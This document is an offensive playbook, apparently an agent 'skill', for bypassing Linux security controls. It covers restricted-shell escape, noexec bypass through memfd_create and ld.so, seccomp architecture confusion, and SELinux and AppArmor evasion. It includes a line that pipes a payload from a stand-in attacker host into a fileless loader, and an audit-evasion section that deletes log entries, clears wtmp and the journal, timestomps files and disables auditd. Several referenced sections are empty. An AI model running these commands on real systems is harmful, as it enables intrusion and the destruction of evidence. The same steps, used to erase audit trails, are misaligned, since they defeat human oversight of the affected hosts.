SKILL: Linux Security Bypass — Expert Attack Playbook

Scope: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Includes fileless execution via DDexec and memfd_create plus architecture-confusion seccomp bypasses.

Related Skills

Before going deep, see also:

• linux-privilege-escalation once you've broken out of restrictions and need to escalate
• container-escape-techniques when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default)
• linux-lateral-movement after bypassing restrictions for pivoting
• cmdi-command-injection when the restriction is on command execution from a web application context

1. RESTRICTED BASH (rbash) BYPASS

1.1 SSH-Based Bypass

# Force a different shell via SSH
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"

# If ForceCommand is set in sshd_config, these may not work
# Try SFTP/SCP instead — often not restricted:
sftp user@host
# SFTP shell can sometimes execute commands

1.2 Editor-Based Escape

# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash

# ed escape
ed
!/bin/bash

# nano (if available)
# Ctrl+R → Ctrl+X → command execution

1.3 Language Interpreter Escape

1.4 Environment Variable Tricks

# Overwrite shell via BASH_CMDS
BASH_CMDS[x]=/bin/bash
x

# Use env to spawn unrestricted shell
env /bin/bash
env -i /bin/bash

# PATH manipulation (if export is allowed)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/bin/bash

# If only specific commands are allowed:
# Use allowed command to read files
git log --oneline --all -p    # git can read arbitrary files
git diff /dev/null /etc/shadow

1.5 Other Escapes

2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION

2.1 DDexec — Execute From stdin via /proc/self/mem

# DDexec overwrites the running process memory with a new binary
# No file written to disk — completely fileless

# Usage: pipe any ELF binary through DDexec
curl -sL https://attacker.com/payload | bash ddexec.sh

# How it works:
# 1. Opens /proc/self/mem for writing
# 2. Seeks to the text segment of the current process
# 3. Overwrites it with the target ELF binary
# 4. Jumps to the new entry point

2.2 memfd_create — In-Memory File Descriptor

import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0)     # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
    f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ)   # Bypasses noexec

# Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd

2.3 ld.so Direct Execution

# Use the dynamic linker to execute from a writable mount
# Even if the binary's partition is noexec, ld.so runs from its own mount
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary

# Or from /dev/shm (usually writable + exec):
cp binary /dev/shm/binary
/dev/shm/binary

2.4 Script Interpreters on noexec

# Scripts still execute on noexec — only ELF execution is blocked
# The interpreter (python/perl/bash) runs from an exec-allowed mount
# and reads the script as data

python3 /noexec/mount/exploit.py      # Works
perl /noexec/mount/exploit.pl         # Works
bash /noexec/mount/exploit.sh         # Works
# But ./exploit (ELF binary) → "Permission denied"

2.5 Writable Mount Points

# Common writable + exec-capable locations:
/dev/shm        # tmpfs — almost always writable + exec
/tmp            # Sometimes noexec on hardened systems
/var/tmp        # Often writable
/run            # tmpfs — check permissions

# Check mount options:
mount | grep -E "shm|tmp"
# Look for "noexec" flag — if absent, exec is allowed

3. APPARMOR BYPASS

3.1 Profile Enumeration

# Check AppArmor status
aa-status 2>/dev/null
cat /sys/module/apparmor/parameters/enabled     # Y = enabled
cat /sys/kernel/security/apparmor/profiles      # List all profiles

# Check current process profile:
cat /proc/self/attr/current
# "unconfined" = no restriction
# "docker-default (enforce)" = Docker's default profile

3.2 Exploitation Strategies

# Find unconfined processes (inject via ptrace if root):
ps auxZ 2>/dev/null | grep unconfined

# Complain mode = effectively no restriction (just logging):
aa-status | grep complain

Common AppArmor profile gaps: /proc/self/fd/* access, abstract Unix sockets, interpreter-based execution (python scripts bypass binary restrictions), and newly created paths.

4. SELINUX BYPASS

4.1 Mode Check

getenforce           # Enforcing / Permissive / Disabled
sestatus             # Detailed status
cat /etc/selinux/config   # Persistent configuration

# Check current context
id -Z
ps auxZ | head -20

4.2 Permissive Domain Exploitation

semanage permissive -l 2>/dev/null    # Domains in permissive mode
ps -eZ | grep -i permissive           # Processes — can do anything (just logged)

4.3 Context Transition & Booleans

ls -Z /tmp/                           # File contexts — tmp_t has broader access
sesearch --allow -t unconfined_t 2>/dev/null | head -30   # Transition rules

# Dangerous booleans that weaken SELinux:
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
# httpd_can_network_connect, allow_execmem

5. SECCOMP BYPASS

5.1 Check Seccomp Status

grep Seccomp /proc/self/status
# Seccomp: 0 = disabled, 1 = strict, 2 = filter

# Docker default seccomp profile blocks ~44 syscalls
# Check what's allowed:
./amicontained    # Shows blocked/allowed syscalls

5.2 Architecture Confusion (x86 vs x86_64)

# Seccomp filters often only check x86_64 syscall numbers
# x86 (32-bit) syscall numbers are different!
# If the filter doesn't check the architecture:

# Compile a 32-bit binary that uses x86 syscall numbers:
# x86_64 execve = 59, x86 execve = 11
# The filter blocks syscall 59 but not 11

gcc -m32 -static -o exploit32 exploit.c
# If the seccomp filter lacks AUDIT_ARCH_X86 check → bypass

5.3 Allowed Syscall Abuse & Kernel Bugs

Allowed syscalls to abuse creatively: sendmsg/recvmsg (pass FDs between processes), mmap/mprotect (executable memory), process_vm_readv/writev (cross-process memory).

Known seccomp kernel bugs: CVE-2019-2054 (ptrace bypass), io_uring bypassed seccomp entirely (pre-5.12). Check uname -r and compare.

6. AUDIT EVASION

6.1 Timestamp Manipulation

# Modify file timestamps to hide changes
touch -r /etc/hosts /modified/file          # Copy timestamp from reference
touch -t 202301010000.00 /modified/file     # Set specific timestamp

# Modify log timestamps (if writable)
# Use timestomping to match surrounding entries

6.2 Log Tampering & Process Spoofing

sed -i '/pattern/d' /var/log/auth.log     # Remove specific entries
echo "" > /var/log/wtmp                    # Clear login records
journalctl --rotate && journalctl --vacuum-time=1s   # Clear journal

# Process name spoofing (hide in ps output):
exec -a "[kworker/0:0]" /bin/bash          # Bash
# C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)

# Disable audit (if root):
auditctl -e 0 && service auditd stop

7. LINUX SECURITY BYPASS DECISION TREE

Security mechanism identified?
│
├── Restricted shell (rbash)?
│   ├── SSH access? → ssh -t "bash --noprofile --norc" (§1.1)
│   ├── Editor available? → vi :!/bin/bash (§1.2)
│   ├── Language interpreter? → python/perl/ruby escape (§1.3)
│   ├── env command? → env /bin/bash (§1.4)
│   └── Allowed commands with escape? → git/man/less → !bash (§1.5)
│
├── noexec filesystem?
│   ├── Script interpreters available? → bash/python/perl scripts work (§2.4)
│   ├── /dev/shm writable + exec? → copy binary there (§2.5)
│   ├── memfd_create available? → fileless execution (§2.2)
│   ├── ld.so accessible? → ld.so /path/to/binary (§2.3)
│   └── Last resort → DDexec via /proc/self/mem (§2.1)
│
├── AppArmor enforcing?
│   ├── Profile in complain mode? → no restriction, just logging (§3.3)
│   ├── Unconfined processes exist? → inject/migrate to them (§3.2)
│   ├── Profile missing path coverage? → use uncovered paths (§3.4)
│   └── Interpreter not restricted? → script-based execution
│
├── SELinux enforcing?
│   ├── Domain set to permissive? → exploit that domain (§4.2)
│   ├── Dangerous booleans enabled? → abuse allowed actions (§4.4)
│   ├── Context transition available? → execute binary with transition (§4.3)
│   └── Kernel CVE? → SELinux bypass exploit
│
├── seccomp filter active?
│   ├── Architecture check missing? → 32-bit syscall confusion (§5.2)
│   ├── Allowed syscalls exploitable? → sendmsg/mmap abuse (§5.3)
│   ├── Kernel bug? → io_uring/ptrace bypass (§5.4)
│   └── Check what's blocked → amicontained (§5.1)
│
└── Audit logging?
    ├── Writable logs? → delete/modify entries (§6.2)
    ├── Root access? → disable auditd (§6.4)
    ├── Need stealth? → process name spoofing (§6.3)
    └── File changes tracked? → timestamp manipulation (§6.1)